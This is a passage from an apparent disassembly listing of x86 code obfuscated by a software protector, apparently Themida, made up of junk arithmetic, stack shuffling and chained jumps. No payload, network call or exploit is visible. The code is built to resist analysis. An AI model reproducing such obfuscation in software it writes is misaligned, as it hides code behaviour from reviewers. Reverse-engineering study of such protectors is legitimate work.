loc_563120: ; CODE XREF: sub_562ABA+5D45j
push eax
jmp loc_55E67E
; ---------------------------------------------------------------------------
loc_563126: ; CODE XREF: sub_562ABA+3D94j
push esp
jmp loc_56CDB2
; ---------------------------------------------------------------------------
loc_56312C: ; CODE XREF: sub_562ABA-4666j
pop esp
mov eax, [esp-0Ch+arg_8]
jmp loc_5627CE
; ---------------------------------------------------------------------------
loc_563135: ; CODE XREF: sub_562ABA+AF9Ej
mov esp, [esp-0Ch+arg_8]
or byte ptr [esp-0Ch+arg_8], al
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_563141: ; CODE XREF: sub_562ABA+6D8Aj
sub edi, esi
pop esi
jmp loc_56BB39
; ---------------------------------------------------------------------------
loc_563149: ; CODE XREF: sub_562ABA+237Aj
push 6CCCh
mov [esp-8+arg_4], esp
add [esp-8+arg_4], 4
push [esp-8+arg_4]
pop ebp
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp-4+arg_0]
pop esp
jmp loc_56FBE6
; ---------------------------------------------------------------------------
loc_563174: ; CODE XREF: sub_562ABA+3C21j
sub ecx, 3FC63350h
jmp loc_564727
; ---------------------------------------------------------------------------
loc_56317F: ; CODE XREF: sub_562ABA+D628j
add esp, 4
add ebp, edi
pop edi
xchg ebp, [esp-10h+arg_C]
mov esp, [esp-10h+arg_C]
mul ecx
push 6BC2h
jmp loc_5719D7
; ---------------------------------------------------------------------------
loc_56319A: ; CODE XREF: sub_562ABA+4479j
inc eax
jmp loc_563ABA
; ---------------------------------------------------------------------------
loc_5631A0: ; CODE XREF: sub_562ABA+FF85j
and eax, ebx
mov ebx, [esp-0Ch+arg_8]
jmp loc_561B36
; ---------------------------------------------------------------------------
loc_5631AA: ; CODE XREF: sub_562ABA+2C6j
push esp
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp-4+arg_0]
pop esp
push edx
jmp loc_56B525
; ---------------------------------------------------------------------------
loc_5631BF: ; CODE XREF: sub_562ABA+4128j
add eax, edx
pop edx
push ebx
mov ebx, 63B91380h
jmp loc_568177
; ---------------------------------------------------------------------------
loc_5631CD: ; CODE XREF: sub_562ABA+ACFj
add esp, 4
push bx
push eax
push ecx
mov cl, 0D6h
sub cl, 40h
mov al, cl
pop ecx
xor al, 0C1h
add al, 0A0h
push ecx
jmp loc_562579
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp+0], cl
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5631F8: ; CODE XREF: sub_562ABA-EA5j
pop ecx
neg edi
neg edi
jmp loc_56B938
; ---------------------------------------------------------------------------
loc_563202: ; CODE XREF: sub_562ABA+97F3j
pop [esp+0Ch+var_C]
pop esp
push edx
push esp
jmp loc_562C38
; ---------------------------------------------------------------------------
loc_56320D: ; CODE XREF: sub_562ABA+3621j
mov ebp, 33447A3Fh
or edi, ebp
pop ebp
dec edi
push ebx
jmp loc_5634B6
; ---------------------------------------------------------------------------
loc_56321C: ; CODE XREF: sub_562ABA+A076j
sub edx, 733B0698h
add edx, edi
add edx, 733B0698h
sub edx, 5F4E67E9h
jmp loc_572A87
; ---------------------------------------------------------------------------
loc_563235: ; CODE XREF: sub_562ABA-3EA4j
xor eax, 764F1BC9h
sub ebx, eax
mov eax, [esp+0]
add esp, 4
sub ebx, esi
add ebx, 1A172773h
add ebx, 3D786091h
sub esp, 4
mov [esp+0], ebp
push edi
mov edi, 6BEA4474h
jmp loc_56BECB
; ---------------------------------------------------------------------------
loc_563264: ; CODE XREF: sub_562ABA+BE94j
push eax
push esp
pop eax
push eax
mov eax, esp
jmp loc_561EDA
; ---------------------------------------------------------------------------
loc_56326F: ; CODE XREF: sub_562ABA+8592j
mov si, bx
pop ebx
jmp loc_57061A
; ---------------------------------------------------------------------------
loc_563278: ; CODE XREF: sub_562ABA+E7A7j
add esi, ebp
pop ebp
xchg esi, [esp+32h+var_32]
mov esp, [esp+32h+var_32]
sub esp, 4
mov [esp+36h+var_36], ecx
mov ecx, 24h
add ecx, edi
add [ecx], esi
jmp loc_56AA99
; ---------------------------------------------------------------------------
loc_563295: ; CODE XREF: sub_562ABA+A63j
sub ecx, 0AB8FFF96h
jmp loc_561C13
; ---------------------------------------------------------------------------
loc_5632A0: ; CODE XREF: sub_562ABA+FD01j
mov edi, edx
push [esp+36h+var_36]
pop edx
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp+3Ah+var_3A]
pop esp
jmp loc_56D9DA
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5632C2: ; CODE XREF: sub_562ABA+B26Ej
add bh, cl
mov cx, word ptr [esp+32h+var_32]
add esp, 2
add al, bh
pop ebx
sub al, 0D1h
sub al, dl
jmp loc_56F26A
; ---------------------------------------------------------------------------
loc_5632D7: ; CODE XREF: sub_562ABA+43Aj
sub eax, ebx
sub eax, 313D5676h
jmp loc_57207E
; ---------------------------------------------------------------------------
loc_5632E3: ; CODE XREF: sub_562ABA+BBDCj
push edx
jmp sub_5722B7
; ---------------------------------------------------------------------------
loc_5632E9: ; CODE XREF: sub_561F0E+17j
xchg ebp, [esp+1Eh+var_1E]
pop esp
pop [esp+1Ah+var_1A]
mov esp, [esp+16h+var_16]
bswap eax
push 3E28h
mov [esp+1Ah+var_1A], eax
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_563302: ; CODE XREF: sub_562ABA+9D1Fj
neg ebp
jmp loc_5729AA
; ---------------------------------------------------------------------------
loc_563309: ; CODE XREF: sub_562ABA+4468j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56330E: ; CODE XREF: sub_562ABA+D551j
pop ecx
sub ecx, eax
push [esp+16h+var_16]
jmp loc_56A129
; ---------------------------------------------------------------------------
loc_563319: ; CODE XREF: sub_562ABA+439Fj
mov esi, 4
sub edi, 7EB9621Bh
jmp loc_560354
; ---------------------------------------------------------------------------
loc_563329: ; CODE XREF: sub_562ABA+39Dj
push edi
mov edi, 4
add [esp+16h+var_12], edi
mov edi, [esp+16h+var_16]
add esp, 4
push [esp+12h+var_12]
pop eax
add esp, 4
push 749Dh
mov [esp+12h+var_12], eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+12h+var_12]
pop esp
jmp loc_56511E
; ---------------------------------------------------------------------------
loc_56335B: ; CODE XREF: sub_562ABA-1D70j
mov edx, [esp+2Ah+var_2C+2]
push 2E57h
mov [esp+0], esi
mov esi, esp
jmp loc_55E9F5
; ---------------------------------------------------------------------------
loc_56336D: ; CODE XREF: sub_562ABA+C4F1j
add edx, eax
jmp loc_570826
; ---------------------------------------------------------------------------
loc_563374: ; CODE XREF: sub_562ABA+BB0j
or esi, 44C741E6h
push ecx
mov ecx, 305F3B40h
xor ecx, 1C3362Bh
add ecx, 8A8CAE5Eh
sub esi, ecx
pop ecx
xor edi, esi
jmp loc_56642F
; ---------------------------------------------------------------------------
loc_563396: ; CODE XREF: sub_562ABA+F3CCj
add [esp+2Eh+var_2C+2], 52FB71CBh
add [esp+2Eh+var_2C+2], eax
sub [esp+2Eh+var_2C+2], 52FB71CBh
add [esp+2Eh+var_2C+2], 14AA2F0Eh
mov eax, [esp+0]
sub esp, 4
mov [esp+32h+var_32], edi
jmp loc_56A8FA
; ---------------------------------------------------------------------------
loc_5633C3: ; CODE XREF: sub_562ABA+587Ej
mov [esp+32h+var_32], esp
add [esp+32h+var_32], 4
pop ebp
add ebp, 4
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
xor ebp, [esp+0]
xor [esp+0], ebp
xor ebp, [esp+0]
jmp loc_566B51
; ---------------------------------------------------------------------------
loc_5633E8: ; CODE XREF: sub_562ABA-4413j
xor ecx, [esp+1Ah+var_1A]
xor [esp+1Ah+var_1A], ecx
jmp loc_570D4C
; ---------------------------------------------------------------------------
loc_5633F3: ; CODE XREF: sub_562ABA+C650j
pop eax
xor eax, 3D893D67h
jmp loc_56CA20
; ---------------------------------------------------------------------------
loc_5633FE: ; CODE XREF: sub_562ABA+E71j
mov esi, ecx
push esi
jmp loc_55EBCA
; ---------------------------------------------------------------------------
loc_563406: ; CODE XREF: sub_562ABA-34B2j
add dl, 44h
mov ch, dl
pop edx
add ch, bh
mov ebx, [esp-20h+arg_1C]
jmp loc_56235E
; ---------------------------------------------------------------------------
loc_563416: ; CODE XREF: sub_562ABA+A518j
push 5B82h
jmp loc_56F7E4
; ---------------------------------------------------------------------------
loc_563420: ; CODE XREF: sub_562ABA+3A4j
add edx, 640F7B9Eh
add edx, 7C16597Dh
jmp loc_56ABC5
; ---------------------------------------------------------------------------
loc_563431: ; CODE XREF: sub_560BA1+19j
mov ebp, 64AB680Ch
mov edx, 1274A48Eh
add edx, ebp
mov ebp, [esp+12h+var_12]
jmp loc_56F15E
; ---------------------------------------------------------------------------
loc_563445: ; CODE XREF: sub_562ABA-4935j
push [esp+0Ah+var_8+2]
pop eax
pop [esp+0Ah+var_C+2]
jmp loc_567094
; ---------------------------------------------------------------------------
loc_563452: ; CODE XREF: sub_562ABA+3A69j
sub esp, 4
mov [esp+0Ah+var_C+2], ebx
jmp loc_568B28
; ---------------------------------------------------------------------------
loc_56345D: ; CODE XREF: sub_562ABA+157j
push edx
push 74A3h
jmp loc_561718
; ---------------------------------------------------------------------------
loc_563468: ; CODE XREF: sub_562ABA+DBE9j
sub edi, 4
xchg edi, [esp+0]
mov esp, [esp+0]
jmp loc_56ADFD
; ---------------------------------------------------------------------------
loc_563476: ; CODE XREF: sub_560757+1j
mov ebx, 65AE0E03h
or eax, ebx
mov ebx, [esp+0]
add esp, 4
jmp loc_56F896
; ---------------------------------------------------------------------------
loc_563488: ; CODE XREF: sub_562ABA+2FAFj
push 56F10FF3h
mov esi, [esp+0]
add esp, 4
not esi
push ecx
push esi
mov esi, 0DAC38B7h
mov ecx, 5443B660h
sub ecx, esi
pop esi
jmp loc_56E77F
; ---------------------------------------------------------------------------
loc_5634AC: ; CODE XREF: sub_562ABA+7189j
mov edi, 5D2467BEh
jmp loc_5639B9
; ---------------------------------------------------------------------------
loc_5634B6: ; CODE XREF: sub_562ABA+75Dj
mov ebx, 0E79D12B3h
jmp loc_56862B
; ---------------------------------------------------------------------------
loc_5634C0: ; CODE XREF: sub_562ABA+BAD0j
add ebx, edi
push [esp+0Ch+var_C]
mov edi, [esp+10h+var_12+2]
jmp loc_56B02D
; ---------------------------------------------------------------------------
loc_5634CD: ; CODE XREF: sub_562ABA+709Ej
push eax
mov eax, 4
jmp loc_566507
; ---------------------------------------------------------------------------
loc_5634D8: ; CODE XREF: sub_55E87E+12j
pop ebp
add edx, 3EE86477h
add edx, edi
jmp loc_568C9E
; ---------------------------------------------------------------------------
loc_5634E6: ; CODE XREF: sub_562ABA+95C1j
pop eax
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5634EC: ; CODE XREF: sub_562ABA+6264j
push esi
mov esi, esp
sub esp, 4
mov [esp+14h+var_16+2], ecx
jmp loc_564353
; ---------------------------------------------------------------------------
loc_5634FA: ; CODE XREF: sub_55FCA5+207j
xor eax, [esp+14h+var_16+2]
xor [esp+14h+var_16+2], eax
xor eax, [esp+14h+var_16+2]
pop esp
push 7EDFh
mov [esp+14h+var_16+2], esi
jmp loc_56FC5F
; ---------------------------------------------------------------------------
loc_563511: ; CODE XREF: sub_562ABA+266Dj
mov edi, 3CAC2728h
inc edi
push ecx
mov ecx, 0B244A30h
jmp loc_563295
; ---------------------------------------------------------------------------
loc_563522: ; CODE XREF: sub_562ABA-7A2j
add ebx, 0B328DEDEh
push esi
push ebx
add [esp+4Ah+var_4A], 6CCB13DFh
pop esi
jmp loc_5611EE
; ---------------------------------------------------------------------------
loc_563537: ; CODE XREF: sub_562ABA-D0Ej
add esp, 4
sub ebp, ebx
jmp loc_56F6A4
; ---------------------------------------------------------------------------
loc_563544: ; CODE XREF: sub_562ABA+EFB9j
xor ebp, [esp+3Ah+var_3A]
pop esp
jmp loc_5666EE
; ---------------------------------------------------------------------------
loc_56354D: ; CODE XREF: sub_562ABA+15ADj
mov ecx, 4
push ecx
add [esp+3Ah+var_3A], 37852610h
pop edx
sub edx, 37852610h
pop ecx
add esi, edx
mov edx, [esp+32h+var_32]
push ebp
mov ebp, esp
jmp loc_56520B
; ---------------------------------------------------------------------------
loc_56356F: ; CODE XREF: sub_562ABA+962Cj
pop ecx
mov bh, al
mov eax, [esp+32h+var_32]
add esp, 4
shr bh, 4
neg bh
sub bh, 95h
sub al, 2Eh
sub al, bh
add al, 2Eh
mov ebx, [esp+0]
jmp loc_5631CD
; ---------------------------------------------------------------------------
loc_56358E: ; CODE XREF: sub_55FCA5+30j
push edi
mov edi, 557A5EBDh
sub edi, 2AE2799Dh
jmp loc_56AFC0
; ---------------------------------------------------------------------------
loc_56359F: ; CODE XREF: sub_562ABA+55B2j
pop edx
dec esi
jmp loc_56376A
; ---------------------------------------------------------------------------
loc_5635A6: ; CODE XREF: sub_562ABA+3C65j
pop eax
jmp loc_572A2C
; ---------------------------------------------------------------------------
loc_5635AC: ; CODE XREF: sub_562ABA+9ED1j
add edx, 61EC771Fh
jmp loc_56D4A5
; ---------------------------------------------------------------------------
loc_5635B7: ; CODE XREF: sub_562ABA+62B0j
mov ecx, 309521B0h
push ecx
not dword ptr [esp+0]
jmp loc_56DA2F
; ---------------------------------------------------------------------------
loc_5635C5: ; CODE XREF: sub_562ABA+E6F3j
push ecx
mov ecx, esp
push ebp
mov ebp, 558275CAh
add ebp, 32E92880h
add ebp, 0F0E3FAEh
sub ebp, 56BA1D2Dh
dec ebp
sub ebp, 25737583h
sub esp, 4
mov [esp+3Ah+var_3A], eax
jmp loc_5672A5
; ---------------------------------------------------------------------------
loc_5635F2: ; CODE XREF: sub_562ABA+3A2Fj
mov esp, [esp+3Ah+var_3A]
mov [esp+3Ah+var_3A], eax
push ecx
mov eax, [esp+3Eh+var_3E]
push 69BDh
mov [esp+42h+var_42], ecx
mov ecx, esp
push eax
mov eax, 647F2CEAh
shl eax, 1
jmp loc_566565
; ---------------------------------------------------------------------------
loc_563613: ; CODE XREF: sub_562ABA+B552j
push 3876h
mov [esp+4Ah+var_4A], edx
push [esp+4Ah+var_4A]
pop eax
add esp, 4
mov edx, [esp+46h+var_46]
add esp, 4
push ebp
push ebx
push ebp
push eax
mov eax, 227D61E9h
mov ebp, 40BA2468h
xor ebp, eax
pop eax
inc ebp
xor ebp, 61651D4Fh
push ebp
xchg ecx, [esp+52h+var_52]
jmp loc_5657BF
; ---------------------------------------------------------------------------
loc_56364F: ; CODE XREF: sub_562ABA+AE27j
push esi
mov esi, 0ADE5999h
xor esi, 4D8A4CDAh
jmp loc_56460D
; ---------------------------------------------------------------------------
loc_563660: ; CODE XREF: sub_562ABA-1690j
mov esi, 52683232h
neg esi
not esi
inc esi
jmp loc_563374
; ---------------------------------------------------------------------------
loc_56366F: ; CODE XREF: sub_562ABA+9124j
dec eax
not eax
xor eax, 861CED18h
sub ebx, eax
pop eax
push edx
mov edx, 710145ADh
xor edx, 0FD80CA03h
jmp loc_565D27
; ---------------------------------------------------------------------------
loc_56368B: ; CODE XREF: sub_562ABA+6A1Cj
sub bl, ah
add bl, 16h
pop ax
movzx eax, al
jmp loc_56272A
; ---------------------------------------------------------------------------
loc_56369A: ; CODE XREF: sub_562ABA+B65Aj
sub edi, esi
sub edi, 6F7043F1h
pop esi
jmp loc_56C28F
; ---------------------------------------------------------------------------
loc_5636A8: ; CODE XREF: sub_562ABA-1B0Dj
add edi, 4
xchg edi, [esp+46h+var_46]
jmp loc_56555A
; ---------------------------------------------------------------------------
loc_5636B3: ; CODE XREF: sub_562ABA+EB93j
xor edi, 0D5AA5F0Ch
add ebx, edi
pop edi
add ebx, 4
push ebx
push [esp+46h+var_42]
mov ebx, [esp+4Ah+var_4A]
jmp loc_56967B
; ---------------------------------------------------------------------------
loc_5636CF: ; CODE XREF: sub_562ABA-F07j
sub esp, 4
mov [esp+0], edx
push esi
push ecx
mov ecx, 284B4C73h
jmp loc_56B119
; ---------------------------------------------------------------------------
loc_5636E1: ; CODE XREF: sub_562ABA+1258j
sub edx, ebx
jmp loc_564B30
; ---------------------------------------------------------------------------
loc_5636E8: ; CODE XREF: sub_562ABA+6A96j
mov eax, [esp+16h+var_16]
push edi
jmp loc_56203F
; ---------------------------------------------------------------------------
loc_5636F1: ; CODE XREF: sub_562ABA+9796j
mov eax, 4E7350BBh
add eax, 70DA2809h
or eax, 518A3106h
or eax, 43B700E9h
jmp loc_56F9D9
; ---------------------------------------------------------------------------
loc_56370A: ; CODE XREF: sub_562ABA+377j
mov [esp+4Ah+var_4A], ebx
push 4B6Ah
mov [esp+4Eh+var_4E], eax
mov eax, 65A94F84h
jmp loc_56C7BB
; ---------------------------------------------------------------------------
loc_56371F: ; CODE XREF: sub_562ABA+7864j
add eax, 7CB2296Ch
push [esp+4Eh+var_4E]
mov esi, [esp+52h+var_52]
jmp loc_55E4F0
; ---------------------------------------------------------------------------
loc_56372F: ; CODE XREF: sub_562ABA+9718j
sub ebx, 48F2733Bh
sub ebx, esi
add ebx, 48F2733Bh
mov esi, [esp+52h+var_52]
add esp, 4
sub ebx, eax
add ebx, 0D351169h
jmp loc_5654F4
; ---------------------------------------------------------------------------
loc_563750: ; CODE XREF: sub_562ABA+C28Bj
mov [esp+4Eh+var_4E], esp
add [esp+4Eh+var_4E], 4
pop edi
jmp loc_56F797
; ---------------------------------------------------------------------------
loc_56375D: ; CODE XREF: sub_562ABA+D7Fj
sub eax, edx
pop edx
sub esi, eax
mov eax, [esp+46h+var_46]
jmp loc_56B248
; ---------------------------------------------------------------------------
loc_56376A: ; CODE XREF: sub_562ABA+AE7j
neg esi
add esi, 492A6009h
add eax, esi
mov esi, [esp+0]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_56B80F
; ---------------------------------------------------------------------------
loc_563785: ; CODE XREF: sub_562ABA+F9D7j
mov ecx, [esp+32h+var_32]
push eax
jmp loc_56B176
; ---------------------------------------------------------------------------
loc_56378E: ; CODE XREF: sub_55F392+Aj
add ah, 0C7h
push [esp+36h+var_36]
mov ebx, [esp+3Ah+var_3A]
add esp, 4
jmp loc_5614DD
; ---------------------------------------------------------------------------
loc_5637A2: ; CODE XREF: sub_562ABA+728Ej
add edi, ebp
pop ebp
push ebp
mov ebp, 2
add edi, ebp
push [esp+36h+var_36]
mov ebp, [esp+3Ah+var_3A]
add esp, 4
push ebx
push esp
pop ebx
push ebp
mov ebp, 4
add ebx, ebp
mov ebp, [esp+3Eh+var_3E]
jmp loc_56A8CC
; ---------------------------------------------------------------------------
loc_5637CC: ; CODE XREF: sub_562ABA-326Dj
sub esi, 36C35838h
pop ebp
add edx, esi
jmp loc_56ECB8
; ---------------------------------------------------------------------------
loc_5637DA: ; CODE XREF: sub_562ABA-3E5Aj
add ebp, edi
pop edi
jmp loc_55FBDD
; ---------------------------------------------------------------------------
loc_5637E2: ; CODE XREF: sub_562ABA+748Cj
mov edi, [esp+22h+var_22]
add esp, 4
jmp loc_5603C1
; ---------------------------------------------------------------------------
loc_5637F0: ; CODE XREF: sub_562ABA+E3CEj
add edi, ebp
pop ebp
push ebp
mov ebp, 2F7544C2h
add edi, ebp
mov ebp, [esp+1Eh+var_1E]
add esp, 4
push [esp+1Ah+var_1A]
jmp loc_56E01B
; ---------------------------------------------------------------------------
loc_563809: ; CODE XREF: sub_562ABA-1B5Ej
xchg ebx, esi
push edi
mov edi, 6BA6E5Dh
and esi, edi
pop edi
sub esi, 3F80805h
add ebp, 37062BEFh
sub ebp, esi
sub ebp, 37062BEFh
pop esi
jmp loc_56E455
; ---------------------------------------------------------------------------
loc_56382E: ; CODE XREF: sub_562ABA+9E89j
mov edx, 15827475h
xor edx, 66B618AFh
jmp loc_56375D
; ---------------------------------------------------------------------------
loc_56383E: ; CODE XREF: sub_562ABA+CD3Ej
add ecx, 4
push edi
mov edi, 0F78772Eh
jmp loc_5614D0
; ---------------------------------------------------------------------------
loc_56384F: ; CODE XREF: sub_562ABA-2F7Bj
add [esp+16h+var_12], 0A640027h
jmp loc_563A2D
; ---------------------------------------------------------------------------
loc_56385C: ; CODE XREF: sub_562ABA+F05Aj
push esp
pop ebx
jmp loc_562A4F
; ---------------------------------------------------------------------------
loc_563863: ; CODE XREF: sub_562ABA+C99Ej
add esi, 4
sub esi, 4
xchg esi, [esp+16h+var_16]
pop esp
mov [esp+12h+var_12], eax
jmp loc_5613D0
; ---------------------------------------------------------------------------
loc_563878: ; CODE XREF: sub_562ABA+78F5j
neg ebx
add ebx, 4D3A358Fh
push ebx
jmp loc_562BF6
; ---------------------------------------------------------------------------
loc_563886: ; CODE XREF: sub_562ABA+340Fj
mov [esp+16h+var_16], edx
push eax
push 1C1E38D8h
pop eax
sub eax, 6D1847E4h
inc eax
sub eax, 0AF05F0D5h
push eax
sub [esp+1Eh+var_1E], 6B6A5C05h
pop edx
add edx, 6B6A5C05h
pop eax
add edx, edi
push eax
pop dword ptr [edx]
mov edx, [esp+16h+var_16]
add esp, 4
pop eax
push edx
jmp loc_56409F
; ---------------------------------------------------------------------------
loc_5638BD: ; CODE XREF: sub_562ABA+803Aj
pop ebp
xor ebp, 27A4649h
pop ebx
and eax, ebp
push [esp+0Ah+var_C+2]
jmp loc_5621B2
; ---------------------------------------------------------------------------
loc_5638CF: ; CODE XREF: sub_562ABA+B5A0j
sub [esp+0Eh+var_8+2], 1B487FCEh
push edi
jmp loc_571B19
; ---------------------------------------------------------------------------
loc_5638DD: ; CODE XREF: sub_562ABA-38D7j
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+48h+var_4A+2]
jmp loc_564AED
; ---------------------------------------------------------------------------
loc_5638F2: ; CODE XREF: sub_562ABA+2F31j
add edi, eax
sub edi, 7BC30E46h
pop eax
push edi
push [esp+48h+var_46+2]
pop edi
pop [esp+48h+var_4A+2]
pop esp
or edx, eax
shl edx, 1
jmp loc_562E1C
; ---------------------------------------------------------------------------
loc_56390E: ; CODE XREF: sub_562ABA+4AA7j
mov ebp, edi
pop edi
sub ebp, 0C6EE6ADh
add esi, ebp
mov ebp, [esp+3Ch+var_3E+2]
add esp, 4
pop edi
jmp loc_56F499
; ---------------------------------------------------------------------------
loc_563925: ; CODE XREF: sub_562ABA+8DFAj
sub esp, 4
mov [esp+38h+var_3A+2], esi
jmp loc_5633FE
; ---------------------------------------------------------------------------
loc_563930: ; CODE XREF: sub_562ABA-11ADj
push dword ptr [esp+4]
pop esi
pop [esp+4+var_4]
mov esp, [esp+0]
mul cx
push small 181Bh
mov word ptr [esp+2+var_4+2], dx
push ax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56394E: ; CODE XREF: sub_562ABA-1C0j
mov [esp+32h+var_32], ebp
mov ebp, 42E95B28h
sub ebx, ebp
pop ebp
or ebx, 0C6C0EF2h
add ebx, 11004107h
mov ecx, ebx
push dword ptr [esp+0]
mov ebx, [esp+32h+var_32]
add esp, 4
push 7B16h
mov [esp+32h+var_32], eax
jmp loc_56679F
; ---------------------------------------------------------------------------
loc_563980: ; CODE XREF: sub_562ABA-1768j
push [esp-4+arg_0]
pop ebp
add esp, 4
xor esi, [esp-8+arg_4]
xor [esp-8+arg_4], esi
xor esi, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
push 4DE3h
mov [esp-4+arg_0], ecx
push eax
mov eax, 193E3274h
mov ecx, 7D90AEADh
sub ecx, eax
pop eax
push ebx
push edi
push 5F8A6FA7h
pop edi
jmp loc_569B5D
; ---------------------------------------------------------------------------
loc_5639B9: ; CODE XREF: sub_562ABA+9F7j
mov edx, 954FDDD4h
add edx, 28814882h
sub edx, 14375773h
sub edx, edi
add edx, 14375773h
jmp loc_56B236
; ---------------------------------------------------------------------------
loc_5639D7: ; CODE XREF: sub_562ABA+5505j
mov ebx, [esp+0]
add esp, 4
mov esi, [esp+0Ah+var_C+2]
sub esp, 4
mov [esp+0], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+0]
jmp loc_569720
; ---------------------------------------------------------------------------
loc_5639FA: ; CODE XREF: sub_562ABA-3B1Dj
pop edi
add ecx, eax
push eax
mov eax, 3735607Eh
not eax
inc eax
push ebx
jmp loc_5707C9
; ---------------------------------------------------------------------------
loc_563A0C: ; CODE XREF: sub_55F777+Cj
shl ebp, 7
sub ebp, 52E174E1h
jmp loc_571935
; ---------------------------------------------------------------------------
loc_563A1A: ; CODE XREF: sub_5720B7+Aj
push ecx
mov ecx, 1DD26500h
push ecx
xor [esp+3Ah+var_3A], 3C82790Dh
jmp loc_57132C
; ---------------------------------------------------------------------------
loc_563A2D: ; CODE XREF: sub_562ABA+D9Dj
add [esp+16h+var_12], edi
sub [esp+16h+var_12], 0A640027h
add [esp+16h+var_12], 66220272h
sub [esp+16h+var_12], 3615764h
sub esp, 4
mov [esp+1Ah+var_1A], edx
push 23E6h
mov [esp+1Eh+var_1E], ecx
mov ecx, 469E308Ah
jmp loc_56A547
; ---------------------------------------------------------------------------
loc_563A61: ; CODE XREF: sub_562ABA+9B23j
pop ebx
push bx
mov bl, 0F3h
xor ch, bl
jmp loc_56449E
; ---------------------------------------------------------------------------
loc_563A6D: ; CODE XREF: sub_562ABA-8A8j
mov [esp+18h+var_1A+2], eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+18h+var_1A+2]
pop esp
mov [esp+14h+var_16+2], ecx
push 3FAF8955h
pop ecx
jmp loc_567BF1
; ---------------------------------------------------------------------------
loc_563A8C: ; CODE XREF: sub_562ABA+78C4j
mov ebx, ebp
mov ebp, [esp+14h+var_16+2]
add esp, 4
mov eax, 279D30D2h
jmp loc_566209
; ---------------------------------------------------------------------------
loc_563A9E: ; CODE XREF: sub_562ABA-7B8j
not ebp
xchg ebp, ecx
xor [esp+46h+var_46], ecx
xor ecx, [esp+46h+var_46]
xor [esp+46h+var_46], ecx
mov eax, [esp+46h+var_46]
push edx
jmp loc_55FC0C
; ---------------------------------------------------------------------------
loc_563AB4: ; CODE XREF: sub_562ABA+C0A6j
pop edx
jmp loc_5606BB
; ---------------------------------------------------------------------------
loc_563ABA: ; CODE XREF: sub_562ABA+6E1j
add eax, 0CAA3C61h
xor ecx, eax
jmp loc_56D024
; ---------------------------------------------------------------------------
loc_563AC6: ; CODE XREF: sub_562ABA+6B0Ej
pop dword ptr [edi+24h]
loc_563AC9: ; CODE XREF: sub_562ABA+15CCj
push esi
jmp loc_565376
; ---------------------------------------------------------------------------
loc_563ACF: ; CODE XREF: sub_562ABA+B808j
mov [esp-0Ch+arg_8], ebx
jmp loc_55F7E7
; ---------------------------------------------------------------------------
loc_563AD7: ; CODE XREF: sub_562ABA-FEEj
xchg eax, [esp+26h+var_28+2]
pop esp
mov ax, word ptr [esp+22h+var_22]
push 293Ah
jmp loc_55FB44
; ---------------------------------------------------------------------------
loc_563AE9: ; CODE XREF: sub_562ABA-1C38j
sub ebp, 397D0B14h
mov ecx, [esp+48h+var_4A+2]
push ebp
jmp loc_56A9F8
; ---------------------------------------------------------------------------
loc_563AF8: ; CODE XREF: sub_562ABA+443Ej
mov esi, esp
add esi, 4
push ecx
jmp loc_562B6E
; ---------------------------------------------------------------------------
loc_563B06: ; CODE XREF: sub_562ABA+3970j
mov eax, edx
pop edx
push 936C8FC0h
pop ebx
add ebx, 1A8116B0h
add ebx, eax
jmp loc_56B779
; ---------------------------------------------------------------------------
loc_563B1C: ; CODE XREF: sub_562ABA-2243j
mov ebx, [esp+42h+var_42]
jmp loc_56DA5D
; ---------------------------------------------------------------------------
loc_563B24: ; CODE XREF: sub_562ABA+A612j
push edx
mov edx, 5FDA151Eh
xchg ebp, edx
dec ebp
xchg ebp, edx
jmp loc_55EFA2
; ---------------------------------------------------------------------------
loc_563B34: ; CODE XREF: sub_562ABA+FB77j
mov esi, [esp+46h+var_46]
add esp, 4
add esp, 4
or eax, eax
jz loc_564D9F
push dword ptr [edi+1Ch]
push 5F8Bh
jmp loc_569573
; ---------------------------------------------------------------------------
loc_563B58: ; CODE XREF: sub_562ABA+5E68j
shr eax, 8
and eax, 4B1F69B6h
jmp sub_55FCA5
; ---------------------------------------------------------------------------
loc_563B65: ; CODE XREF: sub_562ABA+2A09j
add esp, 4
mov edx, [esp+42h+var_42]
push edx
mov edx, esp
add edx, 4
push ecx
mov ecx, 4
add edx, ecx
jmp loc_56E491
; ---------------------------------------------------------------------------
loc_563B84: ; CODE XREF: sub_562ABA+8777j
push esi
push ebx
mov ebx, 24B1490Eh
shl ebx, 3
neg ebx
xor ebx, 44366E43h
add ebx, 243D7128h
jmp loc_563EC9
; ---------------------------------------------------------------------------
loc_563BA1: ; CODE XREF: sub_562ABA+F6F8j
pop edi
xor ecx, 32F1232Fh
push ebp
mov ebp, 3C6B2855h
inc ebp
xor ebp, 26A30694h
jmp loc_571EC5
; ---------------------------------------------------------------------------
loc_563BBA: ; CODE XREF: sub_562ABA-3B33j
mov eax, 7A146BEh
xor eax, 3EF42097h
add edx, eax
pop eax
sub edx, eax
sub edx, 39556629h
push ebp
jmp loc_56A184
; ---------------------------------------------------------------------------
loc_563BD5: ; CODE XREF: sub_562ABA+431Ej
xchg eax, ebp
jmp loc_56C074
; ---------------------------------------------------------------------------
loc_563BDB: ; CODE XREF: Themida_:00562708j
mov [esp+0], ecx
push esi
mov esi, esp
push edx
mov edx, 4
add esi, edx
pop edx
push edi
mov edi, 4
sub esi, edi
pop edi
xchg esi, [esp+32h+var_32]
jmp loc_55EC21
; ---------------------------------------------------------------------------
loc_563BFB: ; CODE XREF: sub_562ABA-1B85j
